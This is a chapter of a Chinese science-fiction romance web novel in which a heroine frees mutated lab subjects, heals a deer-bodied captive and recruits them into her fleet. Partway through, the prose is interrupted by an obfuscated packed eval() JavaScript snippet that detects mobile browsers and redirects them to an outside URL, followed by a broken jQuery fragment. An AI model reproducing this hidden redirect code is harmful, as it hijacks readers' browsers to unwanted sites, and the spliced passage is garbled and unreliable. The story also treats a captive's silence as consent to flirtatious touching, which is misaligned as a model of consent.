脱离了行星大气层后，栗胤的腕带式终端再次恢复了信号。她第一时间与籍允联系，设置了飞往索伦之眼舰队停驻点坐标的自动驾驶，等待在航线中途与籍允派来的接应船碰面。


    等和索伦之眼的船接驳后，栗胤他们就不再需要这艘赦生集团的船了。


    到时候，赦生集团再也找不到他们的踪迹。


    处理好这些，栗胤终于能够将心思分到自己救出来的这些实验体上。


    跟她一起上船的一共有七个人。


    他们大多伤痕累累，幸而赦生集团的飞船上医疗修复舱是标配。


    但是修复舱的数量只有一个。


    实验体们被折磨惯了，不敢妄动，期期艾艾地等待着栗胤的指令。


    栗胤说：“先给受伤最重的用。”


    一群人中受伤最重的，自然是几乎不成人形的眭穹。


    这时，其中一个脸颊被青黑的鳞片覆盖的人开口道：“眭穹他，他不需要的。”


    “他不需要，修复舱给你用？”白纶插嘴冷笑一声。


    鳞片给了那人强大的防护能力，他可以说是这群实验体中受伤最轻的了，只有手臂上有些擦伤。


    他被银狼吓了一跳，结结巴巴地说：“不、不是，在我们被关起来做研究的时候，白衣服也从来不给眭穹用修复液的。”


    白衣服指的就是那些穿着白色外套的研究人员。


    又有几个实验体小声补充：“眭穹他……自己有治愈能力。”


    “我看到过，每次要生产高级修复液时，他们就会抽掉眭穹好多血。”


    栗胤有些惊讶。


    她不由望向眭穹。高级修复液的原料之一，竟然是他的血液？


    那是不是意味着他们每次接受修复舱的治疗……都建立在他的痛苦之上？


    仔细看去，跟在研究所那时比起来，这具身体的伤口果然愈合了很多，只是疤痕纵生，看起来十分可怖。


    根据目前的轮廓，能够看出他确实并不是纯粹的人类模样，只有上半身是人形，而腰部以下的部分横亘而长，如同四足蹄类。


    □□涸的血液覆盖的脸上，浓密的睫毛微微颤了颤。


    眭穹确实有着惊人的自愈能力，在飞船起飞的这段时间里，他已经从重伤中恢复了意识。


    他还无法睁开眼，但被改造过的耳朵却清晰地捕捉到了周围的对话。


    他漠然地等待着自己被丢到一边的待遇。


    谁会把昂贵的修复液浪费在他这样的怪物身上？


    随后他听到了女孩清越的声音：“伤口会自愈，不意味着他不会疼吧？”


    船舱内安静了片刻。


    对着无言以对的众人，栗胤说：“白纶，把他抱到修复舱里。”


    眭穹看不到说话的女孩的模样。


    他浸泡在修复液中，前所未有的舒适暖意将他包裹，身体的每一个细胞都以不可思议的速度愈合着。


    他慢慢睁开眼，琥珀色的瞳孔古井无波。


    她为什么要这样对他？


    被利用、被抛弃才是他的常态。


    怎么会有人无条件对他好？


    寻常人需要浸泡一整天的修复舱，他进去不到两个小时就已经让身体恢复如常。


    他从修复液中坐起来。


    修复舱旁站着一个金眸的女人，正饶有兴趣地看着屏幕上的数据。


    这一幕很熟悉，在研究所里，那些白衣服对他被改造过后的身体数据也是一片惊叹。


    随即而来的，便是无休止的折磨实验。


    为了验证他身体恢复的极限在哪里，他们生生剜下他的血肉，抽干他的血液，翻搅他的骨髓。


    他反抗过，祈求过，但他这样的身体，便是连寻死都做不到。


    那便憎恨这个世界。


    直到他寻到机会将其毁灭。


    带着冰冷的恨意，他漠然地迈腿走出修复舱，准备迎接新一轮的折磨。


    金眸女人用明亮的目光看着他。那眼神太直率、太澄澈，没有算计与贪婪，只有对美好事物的欣赏。


    眭穹被她的目光烫了一下，他移开视线，四条腿后退半步。


    他有什么值得被欣赏的？


    他甚至连人类的模样都没有了……


    他是趵丰族的亚人，原本的亚人特征只有额头的麋鹿角和尾椎的鹿尾。注射了兽类基因诱发激素后，在骨骼异变的剧烈痛苦中，他的下半身畸化，永远维持在麋鹿的状态。


    兽化的实验体们只会被当做异类看待，注定再也无法回到人类社会。


    “我能摸一摸你吗？”他听见对方期待的声音。


    他愣了一下，没有反对也没有同意。


    为什么要多此一举询问他的想法？


    仿佛……他的想法很重要一样。


    不觉得可笑么？


    他的沉默被对方判断为默认，女孩弯起眼睛，纤长的手指向他伸来。


    对方一上手，眭穹立即认识到了不对。


    怎么会有这种……这种抚摸方式？


    他不是没有被人碰过，但白衣服的触碰是为着从他身上找到价值、带着研究的目的触碰他。但这个女人、这个女人……


    ——她把他作为雄性在抚摸！


    那只手白皙柔软，抚摸的力道却轻柔挑逗，从他脑袋上的鹿角摸到他人身的胸膛，又顺着鹿身的皮毛一直摸到那条短短的尾巴。


    从没有人用这种方式摸过他。


    他才筑起的冰冷屏障瞬间破碎，红晕蔓上他的眼角，他的四条腿都止不住地发软。


    羞恼之余，他心中升起被玩弄的愤怒。


    对方不知是忘了还是故意的，竟没有将他捆绑在实验台上束缚他的行动。


    那就别怪他动手了——


    他才刚泄漏一丝杀气，房间的门被嘭一声撞开，从外面窜进来一个银发异瞳的獒尼族青年，将女人护在身后对他呲牙警告。


    银狼的态度直接刺激到了眭穹，他对女人出手还心存顾虑，对面前身形矫健的獒尼族亚人却不再犹豫，四足蹬地，以极强的爆发力向白纶冲撞过去，有力的一拳就要打到对方脸上！


    危机让白纶尾巴上的毛发炸开，险而又险地躲开了这一拳。


    火气却被激上来，怎么也压不下去。


    他露出尖锐的犬牙，喉咙里发出低吼，迎面朝眭穹扑去。


    门外的其他实验体们目瞪口呆地看着这两个人莫名就扭成一团打了起来。


    栗胤后退两步避免自己被波及，却没有立刻将两人劝阻。


    有些情绪与其堵着，不如发泄出来更好。


    况且他们打得拳拳到肉，身材又好，这画面还是颇有一些美感的。


    栗胤甚至想坐下来喝口美酒。


    要说两人她更支持谁，她自然是选白纶的，毕竟他们相处了这么久，她也对白纶的身手更有信心。


    按她的经验来看，白纶的实力就算对比她过去的警卫队都算得上数一数二。他的打法带着荒狱星特有的狠路子，又因为银狼自身的聪明头脑而让路数难以捉摸，獒尼族的尖牙利爪更是让他的每一招都充满杀伤力。


    他十七年的人生里，没有一天是松懈下来放弃锻炼的。


    在荒狱星对练的日子里，她可没少在白纶身上吃苦头。


    让栗胤惊讶的是眭穹的身手。


    一般人打起架来，总是要考虑到对自身的保护的，若是不小心被打到重伤就会失去战斗能力。


    但眭穹的战斗方式完全抛弃了防守。


    他拼着自己鲜血淋漓，也要从对手身上咬下一块肉来！


    栗胤瞳孔中的金色扩大，无形的精神力摄住缠打在一起的两人，他们的动作均滞在半途。


    “都停下吧。”她开口。


    眭穹第一次感受到身体被精神力束缚住完全不能动弹，偏偏他的思维没有任何影响，无比清晰地提醒着他此刻的状况。他的脸色发白，巨大的绝望攫获住他，那对琉璃般的瞳孔死死地盯着面前的女人。


    她原来有这种能力。


    连白衣服都不如她残忍。


    她是连昏迷与挣扎的权利都不给他，让他堂而皇之站立在房间中央，眼睁睁看着自己的身体被她玩弄吗？


    他琥珀色的瞳孔中倒映着着女人安抚银狼的画面。对方仔细地擦去对方脸颊上的血迹，在伤处喷上止血喷雾。银狼的尾巴小幅度地晃动起来，脑袋在女人小巧的手掌中蹭了蹭。


    她对银狼的动作越温柔，刺得眭穹的眼睛越疼。


    终于她处理完银狼的伤面向他。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291320|197817||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眭穹的心一点点往下沉，等着她宣布对他残酷的判决。


    伤口边缘被轻轻抚过。


    女人的指尖带着微凉的柔软，比疼痛更让他战栗。


    他听到她开口：“好不容易治好的，别又弄伤了。”


    眭穹眼睫颤动，怀疑自己听错了。


    她在关心他？


    她为什么要关心他？


    身体一轻，他意识到是对方解开了对他身体的束缚，但这反而让他更为忌惮起来。


    她是在准备什么后手吗？


    没等他想太多，门外响起怯生生的呼唤：“眭穹。”


    眭穹应声往外看去，瞳孔微微放大，他看到实验室中大部分的人都在这里。


    尽管身上还带着实验留下的狰狞伤口，但他们都好端端地站着。


    没有拘束地、自由地站着。


    方才叫他名字的正是那个双臂异化成鸟翅的少女。


    “轻翔，”眭穹看着她，又将目光放到她身后的几个人，“你们……”


    “我们出来了。”轻翔抽泣着说，“是栗胤小姐救了我们。”


    眭穹缓缓将目光放回栗胤身上。


    “救”这个字他等待了太久，已经久到他都快忘记这个发音的含义了。


    栗胤察觉到他的视线，对他笑道：“顺手的事。”


    没有实验体们齐心突围，替她挡下警卫的攻击掩护她上船，她也无法这么顺利地夺取赦生集团的飞船起飞。


    她的这句“顺手”让船上的实验体们心中艰涩。


    若是她能早点出现在那里……


    轻翔看着自己被羽毛覆盖的翅尖，眼中泛起水雾。


    只要她再早来两个月，她也不会变成这副没有人形的鬼样子。


    “正好你们都醒着。”栗胤的声音打断了众人心中的繁杂思绪，她环视了一圈跟着自己上船的实验体们，“记得你们的家在哪吗？我可以送你们回去。”


    听栗胤说到“家”，实验体中个子最壮硕，整张脸都被毛发覆盖、化作彻底的虎面的亚人终于绷不住情绪，他的喉咙中发出吓人的嘶吼，哑声道：“我这副模样还怎么回去？我没有家了。”


    脑袋被一只温暖又柔软的手掌轻轻按了按。


    “抱歉，是我考虑不周。”


    虎面浅色的瞳孔中映着智人女性温柔地看着他的身影。


    她那么漂亮，却毫无芥蒂地触碰着被改造得如此丑陋的他，眼中没有一丝厌恶的神色。


    虎面的心脏剧烈地跳动起来。


    接着他听到她说道：


    “我有一个舰队正在招人。如果你们没有别的目的地，愿不愿意加入我们？”


    “我愿意。”他脱口而出。


    不知道是不是他的错觉，女人的手指从他脑袋上下去的时候，好像捏了把他圆圆的耳朵？


    捏得他整个脑袋都有些酥麻。


    在虎面之后，轻翔和其他几个实验体也都选择了加入栗胤的船队。


    只剩一个人没有开口。


    “眭穹，你的想法呢？”栗胤望向他。


    麋鹿怔了怔。


    这是第一次有人征求他的意见。


    他掩饰好一闪而过的诧异，淡淡道：“你既然从赦生那里夺取了我的使用权，大可以随意处置我。”


    “可我不想把你当做物品使用。”栗胤挑眉，“物品有什么意思？我更喜欢会对我有回应的人。”


    这是眭穹没想过的回答。


    这太奇怪了。


    她肯定别有所图。


    她必须别有所图。


    只有这样，他才能够心安理得地反过来利用她。


    他抿抿唇，倏而抬起眼睑直视栗胤。


    “我要赦生集团所有人的命。”他说，“作为代价，我的一切都任凭你使用。”


    栗胤看着眭穹，眼中绽着奇异的光彩。


    许久，她说道：“好。”


    下一秒，她的手不安分地盘起了他的鹿角。


    犄角上带着茸毛和热度，是很上瘾的触感。对成年的麋鹿基因谱系亚人来说，这个鹿角的长度过于短了，只有半个手掌那么长，甚至都没有分叉。但也正因为如此，这对角也比其他鹿角更为好摸。


    “我先收点利息不过分吧。”